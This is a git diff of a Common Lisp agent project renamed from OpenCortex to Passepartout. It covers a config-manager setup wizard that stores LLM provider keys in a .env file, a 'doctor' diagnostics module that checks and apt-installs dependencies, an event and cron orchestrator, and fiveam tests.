(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
|
||||
(test test-semantic-retrieval-trigram
|
||||
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
|
||||
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
|
||||
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
|
||||
(is (> sim 0.0))))
|
||||
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
|
||||
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
|
||||
(is (> sim 0.75))))
|
||||
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
|
||||
(v6 (passepartout::embedding-backend-trigram "banana")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
|
||||
(is (< sim 0.3)))))
|
||||
@@ -1,39 +1,19 @@
|
||||
#+TITLE: SKILL: Config Manager (org-skill-config-manager.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:setup:config:
|
||||
#+PROPERTY: header-args:lisp :tangle %%SKILLS_DIR%%/org-skill-config-manager.lisp
|
||||
|
||||
* Overview
|
||||
The *Config Manager* skill provides the OpenCortex Agent with the capability to manage its own environment variables and provider configurations. It includes an interactive setup wizard for LLM providers, gateways, and system settings.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Configuration Paths
|
||||
#+begin_src lisp
|
||||
(defun get-oc-config-dir ()
|
||||
(defun config-directory ()
|
||||
"Returns the absolute path to the opencortex config directory."
|
||||
(let ((xdg (uiop:getenv "OC_CONFIG_DIR")))
|
||||
(if (and xdg (string/= xdg ""))
|
||||
(uiop:ensure-directory-pathname xdg)
|
||||
(uiop:ensure-directory-pathname (merge-pathnames ".config/opencortex/" (user-homedir-pathname))))))
|
||||
(if xdg xdg (namestring (merge-pathnames ".config/passepartout/" (user-homedir-pathname))))))
|
||||
|
||||
(defun get-config-file ()
|
||||
"Returns the path to the .env config file."
|
||||
(merge-pathnames ".env" (get-oc-config-dir)))
|
||||
(defun config-file-path ()
|
||||
"Returns the path to the .env configuration file."
|
||||
(merge-pathnames ".env" (config-directory)))
|
||||
|
||||
(defun ensure-config-dir ()
|
||||
"Ensures the config directory exists."
|
||||
(let ((dir (get-oc-config-dir)))
|
||||
(unless (uiop:directory-exists-p dir)
|
||||
(uiop:ensure-directory-pathname dir))
|
||||
dir))
|
||||
#+end_src
|
||||
(defun config-directory-ensure ()
|
||||
"Creates the configuration directory if it does not exist."
|
||||
(ensure-directories-exist (config-directory)))
|
||||
|
||||
** Config File Operations
|
||||
#+begin_src lisp
|
||||
(defun read-config-file ()
|
||||
(defun config-read ()
|
||||
"Reads the .env config file and returns an alist of KEY=VALUE pairs."
|
||||
(let ((config-file (get-config-file)))
|
||||
(let ((config-file (config-file-path)))
|
||||
(when (uiop:file-exists-p config-file)
|
||||
(let ((lines (uiop:read-file-lines config-file))
|
||||
(result nil))
|
||||
@@ -47,39 +27,37 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(push (cons key value) result))))))
|
||||
(nreverse result)))))
|
||||
|
||||
(defun write-config-file (config-alist)
|
||||
(defun config-write (config-alist)
|
||||
"Writes the config alist to the .env file."
|
||||
(ensure-config-dir)
|
||||
(let ((config-file (get-config-file)))
|
||||
(config-directory-ensure)
|
||||
(let ((config-file (config-file-path)))
|
||||
(with-open-file (stream config-file :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(format stream "# OpenCortex Configuration~%")
|
||||
(format stream "# Passepartout Configuration~%")
|
||||
(format stream "# Generated by opencortex setup~%~%")
|
||||
(dolist (pair config-alist)
|
||||
(format stream "~a=~a~%" (car pair) (cdr pair))))))
|
||||
|
||||
(defun get-config-value (key)
|
||||
(defun config-get (key)
|
||||
"Gets a config value by key."
|
||||
(let ((config (read-config-file)))
|
||||
(let ((config (config-read)))
|
||||
(cdr (assoc key config :test #'string=))))
|
||||
|
||||
(defun set-config-value (key value)
|
||||
(defun config-set (key value)
|
||||
"Sets a config value and saves to file."
|
||||
(let ((config (read-config-file))
|
||||
(let ((config (config-read))
|
||||
(pair (cons key value)))
|
||||
(let ((existing (assoc key config :test #'string=)))
|
||||
(if existing
|
||||
(setf (cdr existing) value)
|
||||
(push pair config))
|
||||
(write-config-file config))))
|
||||
#+end_src
|
||||
(config-write config))))
|
||||
|
||||
** Input Utilities
|
||||
#+begin_src lisp
|
||||
(defun prompt (prompt-text)
|
||||
"Simple prompt that returns user input as a string."
|
||||
"Simple prompt that returns user input as a string.
|
||||
Returns nil if stdin is non-interactive."
|
||||
(format t "~a" prompt-text)
|
||||
(finish-output)
|
||||
(read-line))
|
||||
(ignore-errors (read-line)))
|
||||
|
||||
(defun prompt-yes-no (prompt-text)
|
||||
"Prompts yes/no question. Returns T for yes, nil for no."
|
||||
@@ -100,17 +78,16 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(let ((num (ignore-errors (parse-integer response))))
|
||||
(when (and num (<= 1 num) (>= (length options) num))
|
||||
(nth (1- num) options)))))
|
||||
#+end_src
|
||||
|
||||
** LLM Provider Setup
|
||||
#+begin_src lisp
|
||||
(defparameter *available-providers*
|
||||
'(("OpenAI" . "OPENAI_API_KEY")
|
||||
("Anthropic" . "ANTHROPIC_API_KEY")
|
||||
("OpenRouter" . "OPENROUTER_API_KEY")
|
||||
("Groq" . "GROQ_API_KEY")
|
||||
("Gemini" . "GEMINI_API_KEY")
|
||||
("Ollama (local)" . "OLLAMA_URL")))
|
||||
("DeepSeek" . "DEEPSEEK_API_KEY")
|
||||
("NVIDIA" . "NVIDIA_API_KEY")
|
||||
("Local" . "LOCAL_BASE_URL")))
|
||||
|
||||
(defun setup-llm-providers ()
|
||||
"Interactive wizard for configuring LLM providers."
|
||||
@@ -120,41 +97,66 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(format t "==================================================~%~%")
|
||||
|
||||
(let ((current-providers (loop for (name . key) in *available-providers*
|
||||
when (get-config-value key)
|
||||
when (config-get key)
|
||||
collect name)))
|
||||
(when current-providers
|
||||
(format t "Current providers: ~{~a~^, ~}~%~%" current-providers))
|
||||
(format t "Currently configured: ~{~a~^, ~}~%~%" current-providers))
|
||||
|
||||
(format t "~%")
|
||||
(format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%")
|
||||
(format t " Sign up at https://openrouter.ai and paste your API key below.~%")
|
||||
(format t "~%")
|
||||
(format t "Available providers:~%")
|
||||
(format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes")
|
||||
(format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----")
|
||||
(dolist (p *available-providers*)
|
||||
(format t " - ~a~%" (car p)))
|
||||
(let ((name (car p))
|
||||
(env-key (cdr p))
|
||||
(desc (case (car p)
|
||||
("OpenRouter" "free tier, 33+ models")
|
||||
("OpenAI" "paid, gpt-4o-mini")
|
||||
("Anthropic" "paid, Claude 3.5 Sonnet")
|
||||
("Groq" "fast inference, free tier")
|
||||
("Gemini" "free via API")
|
||||
("DeepSeek" "competitive pricing, coding")
|
||||
("NVIDIA" "NVIDIA NIM hosted models")
|
||||
("Local" "local server, no API key")
|
||||
(t ""))))
|
||||
(format t " ~20@A ~25@A ~a~%" name env-key desc)))
|
||||
(format t "~%")
|
||||
|
||||
(when (prompt-yes-no "Configure a new provider?")
|
||||
(let ((chosen (prompt-choice "Select provider:" (mapcar #'car *available-providers*))))
|
||||
(when chosen
|
||||
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
|
||||
(if (string= chosen "Ollama (local)")
|
||||
(progn
|
||||
(format t "Enter Ollama URL (e.g., http://localhost:11434): ")
|
||||
(let ((url (read-line)))
|
||||
(set-config-value env-key url)
|
||||
(format t "✓ Ollama configured at ~a~%" url)))
|
||||
(progn
|
||||
(format t "Enter API key for ~a: " chosen)
|
||||
(let ((key (read-line)))
|
||||
(set-config-value env-key key)
|
||||
(format t "✓ ~a API key saved~%" chosen)))))))))
|
||||
|
||||
(format t "~%"))
|
||||
(loop
|
||||
(when (not (prompt-yes-no "Configure a LLM provider?"))
|
||||
(return))
|
||||
(let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*))))
|
||||
(unless chosen
|
||||
(format t "Invalid choice.~%")
|
||||
(return))
|
||||
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
|
||||
(cond
|
||||
((string= chosen "Local")
|
||||
(format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%")
|
||||
(format t " or http://localhost:8080 for llama.cpp): ")
|
||||
(let ((url (read-line)))
|
||||
(if (> (length url) 0)
|
||||
(progn (config-set env-key url)
|
||||
(format t "✓ ~a configured at ~a~%" chosen url))
|
||||
(format t "Skipping ~a — no URL entered.~%" chosen))))
|
||||
(t
|
||||
(format t "Enter API key for ~a~%" chosen)
|
||||
(format t " (get one from the provider's website, paste it here): ")
|
||||
(let ((key (read-line)))
|
||||
(if (> (length key) 0)
|
||||
(progn (config-set env-key key)
|
||||
(format t "✓ ~a API key saved~%" chosen))
|
||||
(format t "Skipping ~a — no key entered.~%" chosen))))))))
|
||||
|
||||
(format t "~%")))
|
||||
|
||||
(defun setup-add-provider ()
|
||||
"Entry point for adding a single provider (called from CLI)."
|
||||
(setup-llm-providers))
|
||||
#+end_src
|
||||
|
||||
** Gateway Setup
|
||||
#+begin_src lisp
|
||||
(defun setup-gateways ()
|
||||
"Interactive wizard for configuring external gateways."
|
||||
(format t "~%~%")
|
||||
@@ -172,15 +174,12 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(when chosen
|
||||
(let ((token (prompt (format nil "Enter ~a bot token: " chosen))))
|
||||
(if (string= chosen "Slack")
|
||||
(set-config-value "SLACK_TOKEN" token)
|
||||
(set-config-value "DISCORD_TOKEN" token))
|
||||
(config-set "SLACK_TOKEN" token)
|
||||
(config-set "DISCORD_TOKEN" token))
|
||||
(format t "✓ ~a gateway configured~%" chosen)))))
|
||||
|
||||
(format t "~%"))
|
||||
#+end_src
|
||||
|
||||
** Skill Management
|
||||
#+begin_src lisp
|
||||
(defun setup-skills ()
|
||||
"Interactive wizard for enabling/disabling skills."
|
||||
(format t "~%~%")
|
||||
@@ -189,12 +188,9 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(format t "==================================================~%~%")
|
||||
|
||||
(format t "Note: Skill management is not yet implemented.~%")
|
||||
(format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "SKILLS_DIR") "default location"))
|
||||
(format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") "~/.local/share/passepartout"))
|
||||
(format t "~%"))
|
||||
#+end_src
|
||||
|
||||
** Memory Settings
|
||||
#+begin_src lisp
|
||||
(defun setup-memory ()
|
||||
"Interactive wizard for memory settings."
|
||||
(format t "~%~%")
|
||||
@@ -204,18 +200,15 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
|
||||
(let ((auto-save (prompt "Auto-save interval in seconds [300]:")))
|
||||
(when (and auto-save (> (length auto-save) 0))
|
||||
(set-config-value "MEMORY_AUTO_SAVE_INTERVAL" auto-save)))
|
||||
(config-set "MEMORY_AUTO_SAVE_INTERVAL" auto-save)))
|
||||
|
||||
(let ((history (prompt "History retention in lines [1000]:")))
|
||||
(when (and history (> (length history) 0))
|
||||
(set-config-value "MEMORY_HISTORY_RETENTION" history)))
|
||||
(config-set "MEMORY_HISTORY_RETENTION" history)))
|
||||
|
||||
(format t "✓ Memory settings saved~%")
|
||||
(format t "~%"))
|
||||
#+end_src
|
||||
|
||||
** Network Settings
|
||||
#+begin_src lisp
|
||||
(defun setup-network ()
|
||||
"Interactive wizard for network settings."
|
||||
(format t "~%~%")
|
||||
@@ -225,23 +218,20 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
|
||||
(let ((timeout (prompt "Request timeout in seconds [30]:")))
|
||||
(when (and timeout (> (length timeout) 0))
|
||||
(set-config-value "REQUEST_TIMEOUT" timeout)))
|
||||
(config-set "REQUEST_TIMEOUT" timeout)))
|
||||
|
||||
(let ((proxy (prompt "Proxy URL (leave empty for none) []:")))
|
||||
(when (and proxy (> (length proxy) 0))
|
||||
(set-config-value "HTTP_PROXY" proxy)))
|
||||
(config-set "HTTP_PROXY" proxy)))
|
||||
|
||||
(format t "✓ Network settings saved~%")
|
||||
(format t "~%"))
|
||||
#+end_src
|
||||
|
||||
** Main Setup Wizard
|
||||
#+begin_src lisp
|
||||
(defun run-setup-wizard ()
|
||||
(defun setup-wizard-run ()
|
||||
"Main entry point for the interactive setup wizard."
|
||||
(format t "~%~%")
|
||||
(format t "╔═══════════════════════════════════════════════════╗~%")
|
||||
(format t "║ OpenCortex Setup Wizard ║~%")
|
||||
(format t "║ Passepartout Setup Wizard ║~%")
|
||||
(format t "╚═══════════════════════════════════════════════════╝~%")
|
||||
(format t "~%")
|
||||
(format t "This wizard will help you configure:~%")
|
||||
@@ -251,7 +241,7 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(format t " 4. Network Settings~%")
|
||||
(format t "~%")
|
||||
|
||||
(ensure-config-dir)
|
||||
(config-directory-ensure)
|
||||
|
||||
;; Step 1: LLM Providers
|
||||
(when (prompt-yes-no "Configure LLM providers?")
|
||||
@@ -274,15 +264,11 @@ The *Config Manager* skill provides the OpenCortex Agent with the capability to
|
||||
(format t " Setup Complete!~%")
|
||||
(format t "==================================================~%")
|
||||
(format t "~%")
|
||||
(format t "Configuration saved to: ~a~%" (get-config-file))
|
||||
(format t "Configuration saved to: ~a~%" (config-file-path))
|
||||
(format t "~%")
|
||||
(format t "To verify your setup, run: opencortex doctor~%")
|
||||
(format t "To verify your setup, run: passepartout doctor~%")
|
||||
(format t "~%"))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :skill-config-manager
|
||||
(defskill :passepartout-symbolic-config
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
210
lisp/symbolic-diagnostics.lisp
Normal file
210
lisp/symbolic-diagnostics.lisp
Normal file
@@ -0,0 +1,210 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *diagnostics-binaries* '("sbcl" "emacs" "git")
|
||||
"List of external binaries required for full system operation.")
|
||||
|
||||
(defvar *diagnostics-package-map*
|
||||
'(("sbcl" . "sbcl")
|
||||
("emacs" . "emacs")
|
||||
("git" . "git")
|
||||
("curl" . "curl")
|
||||
("rlwrap" . "rlwrap"))
|
||||
"Map binary names to apt package names.")
|
||||
|
||||
(defvar *doctor-missing-deps* nil
|
||||
"List of missing dependencies populated by diagnostics-dependencies-check.")
|
||||
|
||||
(defvar *doctor-auto-install* t
|
||||
"When T, doctor will attempt to install missing dependencies automatically.")
|
||||
|
||||
(defun diagnostics-dependencies-check ()
|
||||
"Verifies that required external binaries are available in the PATH via shell probe."
|
||||
(setf *doctor-missing-deps* nil)
|
||||
(let ((all-ok t))
|
||||
(format t "DOCTOR: Checking system dependencies...~%")
|
||||
(dolist (dep *diagnostics-binaries*)
|
||||
(let ((path (ignore-errors
|
||||
(uiop:run-program (list "which" dep)
|
||||
:output :string :ignore-error-status t))))
|
||||
(if (and path (> (length path) 0))
|
||||
(format t " [OK] Found ~a~%" dep)
|
||||
(progn
|
||||
(format t " [FAIL] Missing binary: ~a~%" dep)
|
||||
(push dep *doctor-missing-deps*)
|
||||
(setf all-ok nil)))))
|
||||
(when (and all-ok (null *doctor-missing-deps*))
|
||||
(format t "DOCTOR: All dependencies satisfied.~%"))
|
||||
all-ok))
|
||||
|
||||
(defun diagnostics-dependencies-install ()
|
||||
"Attempts to install missing system dependencies via apt."
|
||||
(when (null *doctor-missing-deps*)
|
||||
(format t "DOCTOR: No missing dependencies to install.~%")
|
||||
(return-from diagnostics-dependencies-install t))
|
||||
|
||||
(format t "DOCTOR: Attempting to install ~a missing dependencies...~%" (length *doctor-missing-deps*))
|
||||
|
||||
(let ((packages (remove-duplicates
|
||||
(mapcar (lambda (dep)
|
||||
(or (cdr (assoc dep *diagnostics-package-map* :test #'string=))
|
||||
dep))
|
||||
*doctor-missing-deps*)
|
||||
:test #'string=)))
|
||||
(format t "DOCTOR: Packages to install: ~a~%" packages)
|
||||
|
||||
(let ((cmd (format nil "apt-get install -y ~{~a~^ ~}" packages)))
|
||||
(format t "DOCTOR: Running: ~a~%" cmd)
|
||||
(handler-case
|
||||
(let ((output (uiop:run-program cmd
|
||||
:output :string
|
||||
:error-output :string
|
||||
:external-format :utf-8)))
|
||||
(if (zerop (uiop:run-program (format nil "which ~a" (car *doctor-missing-deps*))
|
||||
:ignore-error-status t))
|
||||
(progn
|
||||
(format t "DOCTOR: Dependencies installed successfully.~%")
|
||||
(setf *doctor-missing-deps* nil)
|
||||
t)
|
||||
(progn
|
||||
(format t "DOCTOR: Installation failed. Output: ~a~%" output)
|
||||
nil)))
|
||||
(error (c)
|
||||
(format t "DOCTOR: Installation error: ~a~%" c)
|
||||
nil)))))
|
||||
|
||||
(defun diagnostics-env-check ()
|
||||
"Validates XDG directories and environment configuration."
|
||||
(format t "DOCTOR: Checking XDG environment...~%")
|
||||
(let ((all-ok t)
|
||||
(config-dir (uiop:getenv "PASSEPARTOUT_CONFIG_DIR"))
|
||||
(data-dir (uiop:getenv "PASSEPARTOUT_DATA_DIR"))
|
||||
(state-dir (uiop:getenv "PASSEPARTOUT_STATE_DIR"))
|
||||
(memex-dir (uiop:getenv "MEMEX_DIR")))
|
||||
|
||||
(flet ((check-dir (name path critical)
|
||||
(if (and path (> (length path) 0))
|
||||
(if (uiop:directory-exists-p path)
|
||||
(format t " [OK] ~a: ~a~%" name path)
|
||||
(progn
|
||||
(format t " [FAIL] ~a directory missing: ~a~%" name path)
|
||||
(when critical (setf all-ok nil))))
|
||||
(progn
|
||||
(format t " [FAIL] ~a variable not set.~%" name)
|
||||
(when critical (setf all-ok nil))))))
|
||||
|
||||
(check-dir "Config (PASSEPARTOUT_CONFIG_DIR)" config-dir t)
|
||||
(check-dir "Data (PASSEPARTOUT_DATA_DIR)" data-dir t)
|
||||
(check-dir "State (PASSEPARTOUT_STATE_DIR)" state-dir t)
|
||||
(check-dir "Memex (MEMEX_DIR)" memex-dir t))
|
||||
all-ok))
|
||||
|
||||
(defun diagnostics-llm-check ()
|
||||
"Tests connectivity to LLM providers. Returns T if at least one provider is configured."
|
||||
(format t "DOCTOR: Checking LLM connectivity...~%")
|
||||
(let ((providers '((:openrouter . "OPENROUTER_API_KEY")
|
||||
(:anthropic . "ANTHROPIC_API_KEY")
|
||||
(:openai . "OPENAI_API_KEY")
|
||||
(:groq . "GROQ_API_KEY")
|
||||
(:gemini . "GEMINI_API_KEY")
|
||||
(:deepseek . "DEEPSEEK_API_KEY")
|
||||
(:nvidia . "NVIDIA_API_KEY")
|
||||
(:ollama . "OLLAMA_URL")))
|
||||
(configured nil))
|
||||
(dolist (p providers)
|
||||
(let ((env-val (uiop:getenv (cdr p))))
|
||||
(cond
|
||||
((and env-val (> (length env-val) 0))
|
||||
(format t " [OK] ~a configured~%" (car p))
|
||||
(setf configured t))
|
||||
((eq (car p) :ollama)
|
||||
(let ((ollama-check (ignore-errors
|
||||
(uiop:run-program '("curl" "-s" "http://localhost:11434/api/tags")
|
||||
:output :string :ignore-error-status t))))
|
||||
(when (and ollama-check (search "\"models\"" ollama-check))
|
||||
(format t " [OK] Ollama local model server detected~%")
|
||||
(setf configured t)))))))
|
||||
(if configured
|
||||
(progn
|
||||
(format t " [OK] LLM provider(s) available~%")
|
||||
t)
|
||||
(progn
|
||||
(format t " [WARN] No LLM provider configured.~%")
|
||||
(format t " Run 'passepartout configure' to configure a provider.~%")
|
||||
t))))
|
||||
|
||||
(defun diagnostics-run-all (&key (auto-install t))
|
||||
"Executes the full diagnostic suite and returns T if system is healthy."
|
||||
(format t "==================================================~%")
|
||||
(format t " PASSEPARTOUT DOCTOR: Commencing Health Check~%")
|
||||
(format t "==================================================~%")
|
||||
(let ((dep-ok (diagnostics-dependencies-check)))
|
||||
(when (and (not dep-ok) auto-install *doctor-auto-install*)
|
||||
(format t "DOCTOR: Attempting automatic installation...~%")
|
||||
(setf dep-ok (diagnostics-dependencies-install))
|
||||
(when dep-ok
|
||||
(setf dep-ok (diagnostics-dependencies-check))))
|
||||
(let ((env-ok (diagnostics-env-check))
|
||||
(llm-ok (diagnostics-llm-check)))
|
||||
(format t "==================================================~%")
|
||||
(if (and dep-ok env-ok)
|
||||
(progn
|
||||
(format t " ✓ SYSTEM HEALTHY: Ready for ignition.~%")
|
||||
t) ;; Explicitly return T
|
||||
(progn
|
||||
(format t "==================================================~%")
|
||||
(format t " ISSUES FOUND:~%")
|
||||
(when (not dep-ok)
|
||||
(format t " - Missing system dependencies~%"))
|
||||
(when (not llm-ok)
|
||||
(format t " - No LLM provider configured~%"))
|
||||
(format t "~%")
|
||||
(format t " RECOMMENDED ACTIONS:~%")
|
||||
(format t " 1. Run 'passepartout configure' to configure everything~%")
|
||||
(format t " 2. Or run 'passepartout doctor --fix' for auto-repair~%")
|
||||
(format t "==================================================~%")
|
||||
nil))))) ;; Return nil when issues found
|
||||
|
||||
(defun diagnostics-main ()
|
||||
"Entry point for the 'doctor' CLI command."
|
||||
(if (diagnostics-run-all)
|
||||
(uiop:quit 0)
|
||||
(uiop:quit 1)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-diagnostics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:diagnostics-suite))
|
||||
|
||||
(in-package :passepartout-diagnostics-tests)
|
||||
|
||||
(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic")
|
||||
(in-suite diagnostics-suite)
|
||||
|
||||
(test test-diagnostics-dependency-fail
|
||||
"Contract 1: missing binaries cause diagnostics-dependencies-check to return nil."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
|
||||
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
|
||||
(when bin-var
|
||||
(setf (symbol-value bin-var) '("non-existent-binary-123"))
|
||||
(is (null (diagnostics-dependencies-check))))))
|
||||
|
||||
(test test-diagnostics-env-fail
|
||||
"Contract 2: diagnostics-env-check returns a boolean."
|
||||
(let ((result (diagnostics-env-check)))
|
||||
(is (or (eq t result) (eq nil result))
|
||||
"diagnostics-env-check should return T or NIL")))
|
||||
|
||||
(test test-diagnostics-dependency-success
|
||||
"Contract 1: all binaries present returns T."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
|
||||
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
|
||||
(when bin-var
|
||||
(setf (symbol-value bin-var) '("ls"))
|
||||
(is (eq t (diagnostics-dependencies-check))))))
|
||||
|
||||
(defskill :passepartout-symbolic-diagnostics
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
|
||||
224
lisp/symbolic-events.lisp
Normal file
224
lisp/symbolic-events.lisp
Normal file
@@ -0,0 +1,224 @@
|
||||
(defpackage :passepartout.symbolic-events
|
||||
(:use :cl :passepartout)
|
||||
(:export
|
||||
:orchestrator-register-hook
|
||||
:orchestrator-register-cron
|
||||
:orchestrator-classify
|
||||
:orchestrator-on-heartbeat
|
||||
:orchestrator-bootstrap
|
||||
:orchestrator-dispatch
|
||||
:default-classifier
|
||||
:parse-org-repeat
|
||||
:*hook-registry*
|
||||
:*cron-registry*
|
||||
:*tier-classifier*))
|
||||
|
||||
(in-package :passepartout.symbolic-events)
|
||||
|
||||
(defvar *hook-registry* (make-hash-table :test 'equal)
|
||||
"Maps hook property string → list of gate function symbols.")
|
||||
|
||||
(defvar *cron-registry* (make-hash-table :test 'equal)
|
||||
"Maps job name string → plist (:next-run :expression :repeat :action :tier).")
|
||||
|
||||
(defvar *tier-classifier* nil
|
||||
"Optional function (context) → :reflex | :cognition | :reasoning.")
|
||||
|
||||
(defun default-classifier (context)
|
||||
"Rule-based tier classification.
|
||||
:reflex — file/shell operations, deterministic checks
|
||||
:cognition — text processing, summarization, simple Q&A
|
||||
:reasoning — planning, analysis, multi-step decisions"
|
||||
(let* ((text (or (getf context :text) ""))
|
||||
(lower (string-downcase text)))
|
||||
(cond
|
||||
((or (search "rm " lower)
|
||||
(search "write-file" lower)
|
||||
(search "shell" lower)
|
||||
(search "verify-" lower))
|
||||
:reflex)
|
||||
((or (search "summarize" lower)
|
||||
(search "list" lower)
|
||||
(search "find " lower)
|
||||
(search "what is" lower)
|
||||
(search "search" lower))
|
||||
:cognition)
|
||||
(t :reasoning))))
|
||||
|
||||
(defun parse-org-repeat (timestamp-string)
|
||||
(let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string))
|
||||
(parts (uiop:split-string cleaned :separator '(#\space)))
|
||||
(repeat-part (ignore-errors (car (last parts)))))
|
||||
(when (and repeat-part (uiop:string-prefix-p "+" repeat-part))
|
||||
(let* ((rest (subseq repeat-part 1))
|
||||
(num-end (position-if (lambda (c) (not (digit-char-p c))) rest))
|
||||
(num (parse-integer (subseq rest 0 num-end)))
|
||||
(unit-str (subseq rest num-end)))
|
||||
(list (intern (string-upcase unit-str) :keyword) num)))))
|
||||
|
||||
(defun orchestrator-register-hook (hook-property gate-function)
|
||||
"Registers a deterministic gate to fire when an Org node with
|
||||
the #+HOOK: property matching HOOK-PROPERTY is modified."
|
||||
(push gate-function
|
||||
(gethash (string-downcase (string hook-property)) *hook-registry*))
|
||||
(log-message "ORCHESTRATOR: Hook ~a → ~a" hook-property gate-function))
|
||||
|
||||
(defun orchestrator-register-cron (name expression action-function tier)
|
||||
"Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode
|
||||
timestamp string with optional repeat. TIER is :reflex :cognition :reasoning."
|
||||
(let* ((repeat (parse-org-repeat expression))
|
||||
(now (get-universal-time)))
|
||||
(setf (gethash (string-downcase (string name)) *cron-registry*)
|
||||
(list :next-run now
|
||||
:expression expression
|
||||
:repeat repeat
|
||||
:action action-function
|
||||
:tier tier))
|
||||
(log-message "ORCHESTRATOR: Cron ~a (tier: ~a, repeat: ~a)"
|
||||
name tier repeat)))
|
||||
|
||||
(defun orchestrator-dispatch (action tier)
|
||||
"Execute ACTION at the specified TIER."
|
||||
(flet ((safe-inject (text)
|
||||
(when (fboundp (find-symbol "STIMULUS-INJECT" :passepartout))
|
||||
(funcall (find-symbol "STIMULUS-INJECT" :passepartout)
|
||||
(list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text))))))
|
||||
(ecase tier
|
||||
(:reflex
|
||||
(if (functionp action)
|
||||
(funcall action)
|
||||
(when (and (symbolp action) (fboundp action))
|
||||
(funcall action)))
|
||||
:dispatched)
|
||||
(:cognition
|
||||
(safe-inject (format nil "~a" action))
|
||||
:injected)
|
||||
(:reasoning
|
||||
(safe-inject (format nil "~a" action))
|
||||
:injected))))
|
||||
|
||||
(defun orchestrator-on-heartbeat (context)
|
||||
"Called on each heartbeat tick. Checks and dispatches due cron jobs."
|
||||
(declare (ignore context))
|
||||
(let ((now (get-universal-time))
|
||||
(due-jobs nil))
|
||||
(maphash (lambda (name config)
|
||||
(let ((next-run (getf config :next-run)))
|
||||
(when (>= now next-run)
|
||||
(push (cons name config) due-jobs))))
|
||||
*cron-registry*)
|
||||
(dolist (job due-jobs)
|
||||
(let* ((name (car job))
|
||||
(config (cdr job))
|
||||
(action (getf config :action))
|
||||
(tier (getf config :tier))
|
||||
(repeat (getf config :repeat))
|
||||
(result (orchestrator-dispatch action tier)))
|
||||
(log-message "ORCHESTRATOR: Heartbeat dispatched ~a (tier: ~a) → ~a"
|
||||
name tier result)
|
||||
(when repeat
|
||||
(let* ((unit (first repeat))
|
||||
(value (second repeat))
|
||||
(interval (case unit
|
||||
(:d (* 86400 value))
|
||||
(:w (* 604800 value))
|
||||
(:m (* 2592000 value))
|
||||
(t (* 3600 value)))))
|
||||
(setf (getf (gethash name *cron-registry*) :next-run)
|
||||
(+ now interval))))))
|
||||
nil))
|
||||
|
||||
